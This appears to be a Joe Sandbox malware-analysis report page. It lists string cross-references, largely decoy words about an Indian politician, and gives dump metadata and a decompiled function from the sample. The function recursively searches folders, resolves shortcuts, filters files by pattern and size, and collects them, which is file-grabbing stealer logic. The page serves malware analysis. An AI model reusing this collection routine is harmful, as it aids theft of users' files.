former, xrefs: 00410F36
politician, xrefs: 004113C0
house, xrefs: 004110C6
Rameshwar, xrefs: 00411B67
Fighter, xrefs: 004108F3
Freedom, xrefs: 00410C81
Prasad, xrefs: 00411136
the, xrefs: 00411E64
Fighter, xrefs: 00410FDE
Lok, xrefs: 00411ADF
also, xrefs: 00411203
Fighter, xrefs: 00410A41
house, xrefs: 00411313
Lok, xrefs: 00410873
and, xrefs: 00411590
Lovely, xrefs: 0041114B
Indian, xrefs: 00411E34
Lok, xrefs: 004109C1
the, xrefs: 00410F4E
India, xrefs: 00411A22
Indian, xrefs: 00411A9F
the, xrefs: 0041119B
Sinha, xrefs: 00411490
and, xrefs: 00411615
the, xrefs: 00411A3A
granddaughter, xrefs: 004116AD
house, xrefs: 00411AFF
Anand, xrefs: 00412069
granddaughter, xrefs: 0041135B
Lok, xrefs: 00411540
Indian, xrefs: 0041116B
lower, xrefs: 004111C3
Fighter, xrefs: 00410C89
the, xrefs: 004119CA
Freedom, xrefs: 00411223
granddaughter, xrefs: 004115A8
former, xrefs: 0041161D
Parliament, xrefs: 00411578
member, xrefs: 00411D0C
the, xrefs: 004115A0
granddaughter, xrefs: 00410D79
Rameshwar, xrefs: 00411815
Sinha, xrefs: 00411B77
India, xrefs: 00411B27
Indian, xrefs: 00410E19
also, xrefs: 004117E5
Freedom, xrefs: 00411C9F
Sinha, xrefs: 00411F0C
the, xrefs: 00410F6E
Anand, xrefs: 00411E1C
also, xrefs: 00410D69
Sinha, xrefs: 00410A59
Parliament, xrefs: 0041132B
and, xrefs: 00411FC9
also, xrefs: 00411FD1
Rameshwar, xrefs: 00410FE6
10th, xrefs: 0041163D
former, xrefs: 00410BE1
Lok, xrefs: 00410AC1
also, xrefs: 00411D84
politician, xrefs: 0041106E
Lovely, xrefs: 00410BA9
Parliament, xrefs: 004108AB
Prasad, xrefs: 00410B51
lower, xrefs: 00411F91
also, xrefs: 0041134B
member, xrefs: 00411F59
10th, xrefs: 00411D24
Anand, xrefs: 00410A69
Anand, xrefs: 00411BCF
the, xrefs: 004109F1
and, xrefs: 0041117B
Anand, xrefs: 0041129B
Indian, xrefs: 00411852
Sabha, xrefs: 00411D34
and, xrefs: 00410A11
and, xrefs: 004119AA
Prasad, xrefs: 00411488
former, xrefs: 00410A99
Freedom, xrefs: 00411805
house, xrefs: 00411E94
10th, xrefs: 004109B9
India, xrefs: 004118DA
politician, xrefs: 004119A2
lower, xrefs: 004109D9
the, xrefs: 00411675
also, xrefs: 00411A32
Lok, xrefs: 004110A6
Freedom, xrefs: 00411470
Sinha, xrefs: 00411A72
also, xrefs: 004108CB
Prasad, xrefs: 00410EE9
Indian, xrefs: 00411BE7
10th, xrefs: 004112EB
Indian, xrefs: 00411066
the, xrefs: 004109B1
the, xrefs: 00411882
Parliament, xrefs: 00411B17
India, xrefs: 00410D59
lower, xrefs: 00410AD9
lower, xrefs: 00410C21
Prasad, xrefs: 00410903
and, xrefs: 004110F6
the, xrefs: 00410E49
Indian, xrefs: 004113B8
Sinha, xrefs: 00412159
the, xrefs: 00410FBE
granddaughter, xrefs: 00411460
granddaughter, xrefs: 00411D94
politician, xrefs: 00410BD1
India, xrefs: 00411FC1
Rameshwar, xrefs: 00412149
the, xrefs: 00411F89
Anand, xrefs: 00410F06
the, xrefs: 00410863
Rameshwar, xrefs: 0041112E
Fighter, xrefs: 00411DAC
former, xrefs: 00411F51
and, xrefs: 00411C77
India, xrefs: 004110EE
the, xrefs: 00410F8E
Anand, xrefs: 004115ED
and, xrefs: 00411343
and, xrefs: 00410CE1
Anand, xrefs: 0041183A
politician, xrefs: 00411BEF
house, xrefs: 00411F99
lower, xrefs: 004120D9
the, xrefs: 00410D21
Parliament, xrefs: 0041167D
Parliament, xrefs: 00410F96
Rameshwar, xrefs: 00410D99
Parliament, xrefs: 00411430
Sabha, xrefs: 00411F81
the, xrefs: 004108A3
the, xrefs: 00410B21
former, xrefs: 00411518
10th, xrefs: 00410AB9
Fighter, xrefs: 00411126
the, xrefs: 00411530
house, xrefs: 004120E1
Lok, xrefs: 004112F3
former, xrefs: 00411D04
10th, xrefs: 0041086B
house, xrefs: 00410D31
Prasad, xrefs: 0041181D
house, xrefs: 00411D4C
Lovely, xrefs: 0041197A
Rameshwar, xrefs: 00411CAF
the, xrefs: 00412121
10th, xrefs: 00411E6C
lower, xrefs: 00411C3F
the, xrefs: 004118C2
member, xrefs: 00410E39
lower, xrefs: 00411558
former, xrefs: 00410999
member, xrefs: 004113D8
Freedom, xrefs: 0041190A
and, xrefs: 00411BF7
Rameshwar, xrefs: 00410EE1
Fighter, xrefs: 004116C5
granddaughter, xrefs: 00411FE1
Lovely, xrefs: 00411046
and, xrefs: 00411EC4
the, xrefs: 00411ED4
Indian, xrefs: 00410833
and, xrefs: 00410991
and, xrefs: 00410FAE
Lovely, xrefs: 0041172D
the, xrefs: 004108D3
Sinha, xrefs: 0041138B
India, xrefs: 00411588
Prasad, xrefs: 00410C99
the, xrefs: 00410EB9
Parliament, xrefs: 00410D49
Rameshwar, xrefs: 00410C91
politician, xrefs: 0041185A
Lovely, xrefs: 00410CB1
former, xrefs: 00411765
politician, xrefs: 00411755
10th, xrefs: 00411C1F
and, xrefs: 00411E44
Rameshwar, xrefs: 00411EFC
Lovely, xrefs: 00411832
politician, xrefs: 00410989
granddaughter, xrefs: 00410FC6
granddaughter, xrefs: 004117F5
granddaughter, xrefs: 00411A42
10th, xrefs: 0041188A
house, xrefs: 00411418
member, xrefs: 00411C07
Parliament, xrefs: 004117C5
Prasad, xrefs: 00411922
granddaughter, xrefs: 00412129
the, xrefs: 00410C19
Fighter, xrefs: 00411A5A
the, xrefs: 00411570
granddaughter, xrefs: 00411C8F
Sinha, xrefs: 00410FF6
Parliament, xrefs: 00411A12
the, xrefs: 00410D01
Freedom, xrefs: 0041111E
former, xrefs: 00410E31
politician, xrefs: 00411CF4
India, xrefs: 00411EBC
the, xrefs: 00411FD9
house, xrefs: 004119FA
the, xrefs: 00411D5C
Sinha, xrefs: 004116DD
10th, xrefs: 00411F71
Sinha, xrefs: 00411DC4
Parliament, xrefs: 004118CA
and, xrefs: 004117DD
the, xrefs: 0041179D
the, xrefs: 004113E8
the, xrefs: 00411C87
India, xrefs: 004108BB
Lovely, xrefs: 004115E5
the, xrefs: 00411353
Sabha, xrefs: 004119E2
the, xrefs: 004118F2
and, xrefs: 00411AAF
Lok, xrefs: 00411D2C
Parliament, xrefs: 00410C41
and, xrefs: 00410C59
Lovely, xrefs: 00410961
Sabha, xrefs: 00411C2F
Sabha, xrefs: 00411795
Indian, xrefs: 00410CD1
Sinha, xrefs: 0041090B
the, xrefs: 0041120B
member, xrefs: 00411872
former, xrefs: 004113D0
India, xrefs: 00411C6F
former, xrefs: 0041084B
and, xrefs: 00410D61
also, xrefs: 00410EB1
the, xrefs: 00411635
10th, xrefs: 004113F0
and, xrefs: 00411CFC
politician, xrefs: 00411173
the, xrefs: 00411C17
Fighter, xrefs: 00411373
politician, xrefs: 00411508
the, xrefs: 00411655
house, xrefs: 004118B2
politician, xrefs: 00411F41
the, xrefs: 00411323
lower, xrefs: 004119F2
Lok, xrefs: 00410F5E
lower, xrefs: 00411410
Sabha, xrefs: 00411548
former, xrefs: 00411183
Fighter, xrefs: 00411CA7
Freedom, xrefs: 00410B39
Sinha, xrefs: 0041192A
Fighter, xrefs: 00411EF4
Sabha, xrefs: 00411AE7
the, xrefs: 00410AB1
member, xrefs: 00410CF1
the, xrefs: 004112E3
lower, xrefs: 0041088B
Sabha, xrefs: 00410AC9
the, xrefs: 00411A0A
Sabha, xrefs: 004110AE
Freedom, xrefs: 004115B8
Freedom, xrefs: 00411EEC
Fighter, xrefs: 00412141
politician, xrefs: 00410F26
politician, xrefs: 004112BB
also, xrefs: 0041169D
Rameshwar, xrefs: 004116CD
Sinha, xrefs: 0041113E
India, xrefs: 00410A09
Anand, xrefs: 00410E01
the, xrefs: 004117ED
Prasad, xrefs: 00411CB7
granddaughter, xrefs: 00411213
member, xrefs: 0041118B
Anand, xrefs: 004114E8
Prasad, xrefs: 004115D0
India, xrefs: 00411440
the, xrefs: 004110D6
member, xrefs: 00410AA1
the, xrefs: 00410AD1
and, xrefs: 004111FB
house, xrefs: 00410AE1
also, xrefs: 00410FB6
and, xrefs: 00410B11
also, xrefs: 00411C7F
Indian, xrefs: 00410BC9
Fighter, xrefs: 00411B5F
also, xrefs: 00411B37
the, xrefs: 00411EA4
Parliament, xrefs: 004110DE
Prasad, xrefs: 00411A6A
the, xrefs: 00411C57
Sabha, xrefs: 00411400
Freedom, xrefs: 00411FF1
Rameshwar, xrefs: 00411A62
Indian, xrefs: 00411CEC
Anand, xrefs: 00411982
Fighter, xrefs: 0041122B
Lovely, xrefs: 00410EFE
the, xrefs: 00411B0F
Sinha, xrefs: 00410B59
and, xrefs: 00410E29
politician, xrefs: 00411AA7
politician, xrefs: 00410A89
and, xrefs: 00410A91
Freedom, xrefs: 00412139
lower, xrefs: 004117A5
Parliament, xrefs: 00411EAC
former, xrefs: 00412099
Rameshwar, xrefs: 00410A49
Lok, xrefs: 004111AB
Rameshwar, xrefs: 004115C8
India, xrefs: 00410EA1
Sabha, xrefs: 004109C9
lower, xrefs: 004118AA
Lovely, xrefs: 00412061
house, xrefs: 004117AD
Rameshwar, xrefs: 00410B49
the, xrefs: 00411C37
Sabha, xrefs: 0041164D
India, xrefs: 00410C51
lower, xrefs: 0041165D
Sinha, xrefs: 00410CA1
the, xrefs: 00410E69
Parliament, xrefs: 00410AF9
lower, xrefs: 0041130B
Rameshwar, xrefs: 0041191A
Prasad, xrefs: 00412151
and, xrefs: 00411076
Parliament, xrefs: 00411C5F
Parliament, xrefs: 004109F9
and, xrefs: 00411B2F
the, xrefs: 00411D3C
Lok, xrefs: 00411E74
Lok, xrefs: 00410E59
India, xrefs: 00410B09
Fighter, xrefs: 00411FF9
lower, xrefs: 004110BE
India, xrefs: 0041133B
Fighter, xrefs: 00411912
politician, xrefs: 00411E3C
granddaughter, xrefs: 00410EC1
also, xrefs: 00411450
member, xrefs: 00410853
Rameshwar, xrefs: 004108FB
former, xrefs: 00411AB7
Parliament, xrefs: 00410E91
politician, xrefs: 00412089
Sabha, xrefs: 00410D19
Sinha, xrefs: 004115D8
Lovely, xrefs: 00411A7F
the, xrefs: 004109D1
Anand, xrefs: 00411153
Prasad, xrefs: 0041123B
Anand, xrefs: 0041081B
10th, xrefs: 004119D2
Sinha, xrefs: 00411825
Sinha, xrefs: 00411CBF
Fighter, xrefs: 00410D91
member, xrefs: 00411E54
10th, xrefs: 00410F56
lower, xrefs: 00410E71
house, xrefs: 00410893
10th, xrefs: 004111A3
Freedom, xrefs: 0041136B
Lovely, xrefs: 00410DF9
Lok, xrefs: 004113F8
Prasad, xrefs: 00412009
also, xrefs: 004110FE
politician, xrefs: 0041083B
the, xrefs: 004118A2
house, xrefs: 004109E1
Prasad, xrefs: 00410A51
the, xrefs: 00410E89
house, xrefs: 00411560
Anand, xrefs: 004113A0
and, xrefs: 00411A2A
member, xrefs: 00410F3E
10th, xrefs: 004120B9
10th, xrefs: 00411AD7
and, xrefs: 004113C8
Lok, xrefs: 00410D11
Freedom, xrefs: 004108EB
Indian, xrefs: 00410A81
also, xrefs: 00412119
Sabha, xrefs: 00411E7C
Indian, xrefs: 00411F39
Lovely, xrefs: 00411F19
member, xrefs: 00411086
Prasad, xrefs: 00411383
the, xrefs: 004111DB
Fighter, xrefs: 00411478
granddaughter, xrefs: 004118FA
Fighter, xrefs: 004115C0
Lok, xrefs: 00411C27
India, xrefs: 00411D74
the, xrefs: 00410883
10th, xrefs: 00410E51
Indian, xrefs: 00411605
Prasad, xrefs: 00411B6F
Freedom, xrefs: 004116BD
the, xrefs: 00411ACF
the, xrefs: 00411096
former, xrefs: 00411BFF
Lovely, xrefs: 00411BC7
Sabha, xrefs: 004120C9
former, xrefs: 004119B2
Parliament, xrefs: 004120F9
Anand, xrefs: 00410BB1
Lovely, xrefs: 00411E14
the, xrefs: 004119EA
granddaughter, xrefs: 00411B47
Sabha, xrefs: 0041087B
Prasad, xrefs: 00410DA1
Lovely, xrefs: 00411CCC
former, xrefs: 0041186A
former, xrefs: 0041107E
the, xrefs: 00411550
member, xrefs: 00411520
politician, xrefs: 00410E21
Rameshwar, xrefs: 00411480
Sabha, xrefs: 00410E61
member, xrefs: 004119BA
Rameshwar, xrefs: 0041137B
Anand, xrefs: 00411F21
Prasad, xrefs: 004116D5
and, xrefs: 00410EA9
former, xrefs: 004112CB
Sabha, xrefs: 004112FB
and, xrefs: 00411448
Indian, xrefs: 00411500
also, xrefs: 004118EA
Freedom, xrefs: 00411B57
the, xrefs: 00411FA9
and, xrefs: 00411510
Indian, xrefs: 00410981
Sabha, xrefs: 00410F66
the, xrefs: 00411106
India, xrefs: 00412109
Sabha, xrefs: 0041189A
former, xrefs: 00411E4C
the, xrefs: 00411D8C
Lovely, xrefs: 00410A61
Freedom, xrefs: 00410A39
and, xrefs: 004118E2
Anand, xrefs: 00411CD4
politician, xrefs: 0041160D
Lovely, xrefs: 00410813
Lok, xrefs: 004120C1
politician, xrefs: 00410CD9
member, xrefs: 004109A1
the, xrefs: 00411E84
Indian, xrefs: 00412081
Fighter, xrefs: 00410ED9
the, xrefs: 00411408
Rameshwar, xrefs: 00411DB4
member, xrefs: 00410BE9
member, xrefs: 004120A1
Prasad, xrefs: 00411DBC
the, xrefs: 004116A5
house, xrefs: 00411C47
granddaughter, xrefs: 00410C71
the, xrefs: 00411B3F
Parliament, xrefs: 00411FB1
Anand, xrefs: 00411735
the, xrefs: 00411D1C
Freedom, xrefs: 00411A52
house, xrefs: 00410F7E
Indian, xrefs: 004112B3
Sinha, xrefs: 00412011
also, xrefs: 00411598
Lovely, xrefs: 004114E0
Freedom, xrefs: 00410D89
house, xrefs: 00411665
Lok, xrefs: 00411F79
India, xrefs: 004117D5
and, xrefs: 00411F49
and, xrefs: 00411695
the, xrefs: 00410C69
member, xrefs: 0041176D
10th, xrefs: 00411785
the, xrefs: 00410BF9
the, xrefs: 00410AF1
and, xrefs: 004112C3
Parliament, xrefs: 004111E3
the, xrefs: 00410A21
the, xrefs: 004117BD
house, xrefs: 00410C29
Rameshwar, xrefs: 00411233
Anand, xrefs: 00410969
Lok, xrefs: 00411892
Parliament, xrefs: 00411D64
lower, xrefs: 00411D44
also, xrefs: 00410B19
house, xrefs: 004111CB
Indian, xrefs: 0041174D
Indian, xrefs: 0041199A
also, xrefs: 00410A19
and, xrefs: 00412111
Anand, xrefs: 00411A87
also, xrefs: 00411ECC
Anand, xrefs: 00410CB9
also, xrefs: 00410C61
and, xrefs: 00411862
lower, xrefs: 00410D29
granddaughter, xrefs: 004108DB
India, xrefs: 004111F3
and, xrefs: 00410F2E
granddaughter, xrefs: 00410B29
Sinha, xrefs: 00410DA9
Sabha, xrefs: 004111B3
and, xrefs: 004108C3
Sabha, xrefs: 00410C11
the, xrefs: 00410C39
Indian, xrefs: 00410F1E
India, xrefs: 00410FA6
10th, xrefs: 00410C01
lower, xrefs: 00411E8C
the, xrefs: 0041177D
the, xrefs: 004111BB
Lok, xrefs: 00411645
India, xrefs: 0041168D
Fighter, xrefs: 00410B41
member, xrefs: 00411625
the, xrefs: 00411F69

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$AddressProc$Process$ExitHeapLibraryLoad_memset$AllocateEventGlobalInfoMemoryOpenStatusSystem
String ID: 10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$10th$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Anand$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Fighter$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$Freedom$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$India$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Indian$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lok$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Lovely$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Parliament$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Prasad$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Rameshwar$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sabha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$Sinha$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$also$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$and$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$former$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$granddaughter$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$house$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$lower$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$member$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$politician$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the$the
API String ID: 1618256847-3432208091
Opcode ID: 16cdfb075538ca0cb45313829f5c4a99e250cb9f78f0b05a27c08340f5b275ff
Instruction ID: 77e1a2903d9af5076151c0505acc41032b3fcf0c12c6b19e02c18b9c1848f7bd
Opcode Fuzzy Hash: 16cdfb075538ca0cb45313829f5c4a99e250cb9f78f0b05a27c08340f5b275ff
Instruction Fuzzy Hash: F6C29F606C6EB939762377324D8AEDF194DDCE7B8A7220506F500204811F9D9A27A9FF

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 86.2, APIs: 45, Strings: 4, Instructions: 477
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E0040C8E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char* _a16, intOrPtr _a20, void* _a24, intOrPtr _a28, int _a32, int _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48) {
				signed int _v8;
				char _v268;
				char _v528;
				char _v1528;
				char _v1788;
				char _v2788;
				char _v7788;
				struct _WIN32_FIND_DATAA _v8108;
				void* _v8109;
				intOrPtr _v8116;
				intOrPtr _v8120;
				intOrPtr _v8124;
				char _v8128;
				char* _v8132;
				void* _v8136;
				intOrPtr _v8140;
				char _v8144;
				intOrPtr _v8148;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t127;
				intOrPtr _t130;
				void* _t133;
				int _t140;
				void* _t142;
				int _t156;
				int _t169;
				char* _t170;
				int _t172;
				int _t178;
				int _t186;
				intOrPtr _t187;
				int _t188;
				int _t196;
				char* _t197;
				void* _t209;
				intOrPtr _t210;
				intOrPtr _t212;
				intOrPtr* _t221;
				void* _t224;
				void* _t225;
				intOrPtr _t243;
				intOrPtr _t255;
				char* _t260;
				char* _t263;
				char* _t274;
				char* _t281;
				char* _t284;
				intOrPtr _t288;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t293;
				void* _t295;
				void* _t296;
				char* _t297;
				void* _t317;

				L0042BF80(0x1fd0);
				_t127 =  *0x4556f0; // 0x1a5a77c2
				_v8 = _t127 ^ _t292;
				_t291 = _a28;
				_t290 = _a8;
				_v8116 = _a4;
				_t130 = _a12;
				_v8120 = _t290;
				_v8124 = _t130;
				_v8132 = _a16;
				_v8140 = _t291;
				wsprintfA( &_v1788, "%s\\*", _t130);
				_t133 = FindFirstFileA( &_v1788,  &_v8108); // executed
				_t265 =  &_v7788;
				_t225 = _t133;
				_v8136 = _t225;
				L0042AC10( &_v7788, 0, 0x1388);
				_t295 = _t293 + 0x18;
				_t136 =  *0x468038( &_v7788, _t291);
				_v8128 = 0;
				if(_t225 == 0xffffffff) {
					L41:
					return L0042AC8A(_t136, _t225, _v8 ^ _t292, _t265, _t290, _t291);
				}
				_t225 = _a24;
				do {
					_push(".");
					_push( &(_v8108.cFileName));
					if( *0x468068() == 0) {
						goto L39;
					}
					_push("..");
					_push( &(_v8108.cFileName));
					if( *0x468068() == 0) {
						goto L39;
					}
					_t291 = _v8124;
					_t142 = E0040A8C0(_t291, 0x80000000); // executed
					_t295 = _t295 + 8;
					if(_t142 == 0) {
						goto L39;
					}
					 *0x4680e4( &_v528, _t291);
					 *0x468038( &_v528, "\\");
					 *0x468038( &_v528,  &(_v8108.cFileName));
					if(_a36 != 0) {
						L9:
						L0042AC10( &_v1528, 0, 0x3e8);
						L0042AC10( &_v2788, 0, 0x3e8);
						_t296 = _t295 + 0x18;
						_push(0x4489f2);
						_push(_t290);
						if( *0x468068() != 0) {
							wsprintfA( &_v2788, "%s\\%s", _t290,  &(_v8108.cFileName));
							_t295 = _t296 + 0x10;
						} else {
							wsprintfA( &_v2788, "%s",  &(_v8108.cFileName));
							_t295 = _t296 + 0xc;
						}
						_push( &_v7788);
						if( *0x467f30() <= 3) {
							__eflags = _a36;
							if(_a36 == 0) {
								L59:
								_t156 = PathMatchSpecA( &(_v8108.cFileName), _v8132);
								__eflags = _t156;
								if(_t156 == 0) {
									goto L35;
								}
								 *0x4680e4( &_v268, _t290);
								 *0x468038( &_v268, "\\");
								 *0x468038( &_v268,  &(_v8108.cFileName));
								_t265 =  &_v528;
								_t291 = E0042C140(E00420E10( &_v528),  &_v528, 0x3e8, 0);
								__eflags = _t225 - _t291;
								if(_t225 <= _t291) {
									goto L35;
								}
								_t136 =  *0x457478; // 0xabe0
								__eflags = _t136 -  *0x457484; // 0x0
								if(__eflags <= 0) {
									goto L41;
								}
								_t169 = E0040A8C0(_v8124, 0xc0000000);
								_t295 = _t295 + 8;
								__eflags = _t169;
								if(_t169 == 0) {
									goto L35;
								}
								_t274 =  &_v528;
								_t170 = _t274;
								L56:
								__eflags = _a32;
								_t243 = _v8116;
								_push(_t274);
								if(_a32 == 0) {
									_t170 =  &_v268;
								}
								_push(_t170);
								_push(_t243);
								E00429E40();
								_t295 = _t295 + 0xc;
								 *0x457484 =  *0x457484 + _t291;
								goto L35;
							}
							_t172 = PathMatchSpecA( &(_v8108.cFileName), "*.lnk");
							__eflags = _t172;
							if(_t172 == 0) {
								goto L59;
							}
							 *0x46805c(0);
							E0040A780( &_v528,  &_v1528);
							_t295 = _t295 + 8;
							 *0x468040();
							_t178 = PathMatchSpecA( &_v1528, _v8132);
							__eflags = _t178;
							if(_t178 == 0) {
								goto L35;
							}
							 *0x4680e4( &_v268, _t290);
							 *0x468038( &_v268, "\\");
							 *0x468038( &_v268, PathFindFileNameA( &_v1528));
							_t265 =  &_v1528;
							_t291 = E0042C140(E00420E10( &_v1528),  &_v1528, 0x3e8, 0);
							__eflags = _t225 - _t291;
							if(_t225 <= _t291) {
								goto L35;
							}
							_t136 =  *0x457478; // 0xabe0
							__eflags = _t136 -  *0x457484; // 0x0
							if(__eflags <= 0) {
								goto L41;
							}
							_t186 = E0040A8C0(_v8124, 0xc0000000);
							_t295 = _t295 + 8;
							__eflags = _t186;
							if(_t186 == 0) {
								goto L35;
							}
							_t274 =  &_v1528;
							_t170 = _t274;
							goto L56;
						} else {
							_t187 = E0042C05D(_t225,  &_v7788, _t290,  &_v7788, ":",  &_v8144);
							_t290 = 0;
							_t295 = _t295 + 0xc;
							_t291 = _t187;
							_v8128 = 0;
							if(_a36 != 0 && PathMatchSpecA( &(_v8108.cFileName), "*.lnk") != 0) {
								_t290 = 1;
								 *0x46805c(0);
								E0040A780( &_v528,  &_v1528);
								_t295 = _t295 + 8;
								 *0x468040();
							}
							if(_t291 == 0) {
								L25:
								if(_t290 == 0) {
									_t188 = PathMatchSpecA( &(_v8108.cFileName), _v8132);
									__eflags = _t188;
									if(_t188 == 0) {
										goto L34;
									}
									 *0x4680e4( &_v268, _v8120);
									 *0x468038( &_v268, "\\");
									 *0x468038( &_v268,  &(_v8108.cFileName));
									_t265 =  &_v528;
									_t291 = E0042C140(E00420E10( &_v528),  &_v528, 0x3e8, 0);
									__eflags = _t225 - _t291;
									if(_t225 <= _t291) {
										goto L34;
									}
									_t136 =  *0x457478; // 0xabe0
									__eflags = _t136 -  *0x457484; // 0x0
									if(__eflags <= 0) {
										goto L41;
									}
									_t196 = E0040A8C0(_v8124, 0xc0000000);
									_t295 = _t295 + 8;
									__eflags = _t196;
									if(_t196 == 0) {
										goto L34;
									}
									__eflags = _a32;
									_t255 = _v8116;
									_t281 =  &_v528;
									_push(_t281);
									_t197 = _t281;
									if(_a32 == 0) {
										_t197 =  &_v268;
									}
									_push(_t197);
									_push(_t255);
									L33:
									E00429E40();
									_t295 = _t295 + 0xc;
									 *0x457484 =  *0x457484 + _t291;
									goto L34;
								}
								if(PathMatchSpecA( &_v1528, _v8132) == 0) {
									goto L34;
								}
								 *0x4680e4( &_v268, _v8120);
								 *0x468038( &_v268, "\\");
								 *0x468038( &_v268, PathFindFileNameA( &_v1528));
								_t291 = E0042C140(E00420E10( &_v1528),  &_v1528, 0x3e8, 0);
								if(_t225 <= _t291) {
									goto L34;
								}
								_t265 =  *0x457478; // 0xabe0
								_t317 = _t265 -  *0x457484; // 0x0
								if(_t317 <= 0) {
									goto L41;
								}
								_t209 = E0040A8C0(_v8124, 0xc0000000);
								_t295 = _t295 + 8;
								if(_t209 == 0) {
									goto L34;
								}
								_t210 = _v8116;
								_t260 =  &_v1528;
								_push(_t260);
								_t284 = _t260;
								if(_a32 == 0) {
									_t284 =  &_v268;
								}
								_push(_t284);
								_push(_t210);
								goto L33;
							} else {
								do {
									_push(0);
									_push(_t291);
									if(_t290 == 0) {
										_push( &_v2788);
									} else {
										_push( &_v1528);
									}
									if( *0x467fa8() != 0) {
										_v8128 = 1;
									}
									_t212 = E0042C05D(_t225,  &_v8144, _t290, 0, ":",  &_v8144);
									_t291 = _t212;
									_t295 = _t295 + 0xc;
								} while (_t291 != 0);
								if(_v8128 != _t212) {
									L34:
									_t290 = _v8120;
									L35:
									_t270 = _a20;
									if(_a20 == 0) {
										goto L39;
									}
									_t157 = _a48;
									_t235 = _a44;
									if(_a48 > _a44) {
										break;
									}
									if(_v8128 == 0) {
										E0040C8E0(_v8116,  &_v2788,  &_v528, _v8132, _t270, _t225, _v8140, _a32, _a36, _a40, _t235, _t157 + 1); // executed
										_t295 = _t295 + 0x30;
									}
									goto L39;
								}
								goto L25;
							}
						}
					}
					_t297 = _t295 - 0x1c;
					_t263 = _t297;
					_t221 =  &_v528;
					 *((intOrPtr*)(_t263 + 0x14)) = 0xf;
					 *((intOrPtr*)(_t263 + 0x10)) = 0;
					_v8148 = _t297;
					 *_t263 = 0;
					_t291 = _t221 + 1;
					do {
						_t288 =  *_t221;
						_t221 = _t221 + 1;
						_t303 = _t288;
					} while (_t288 != 0);
					E00405620(_t263,  &_v528, _t221 - _t291);
					_t224 = E0040C4D0(_t303);
					_t295 = _t297 + 0x1c;
					if(_t224 != 0) {
						goto L39;
					}
					goto L9;
					L39:
					_t140 = FindNextFileA(_v8136,  &_v8108); // executed
				} while (_t140 != 0);
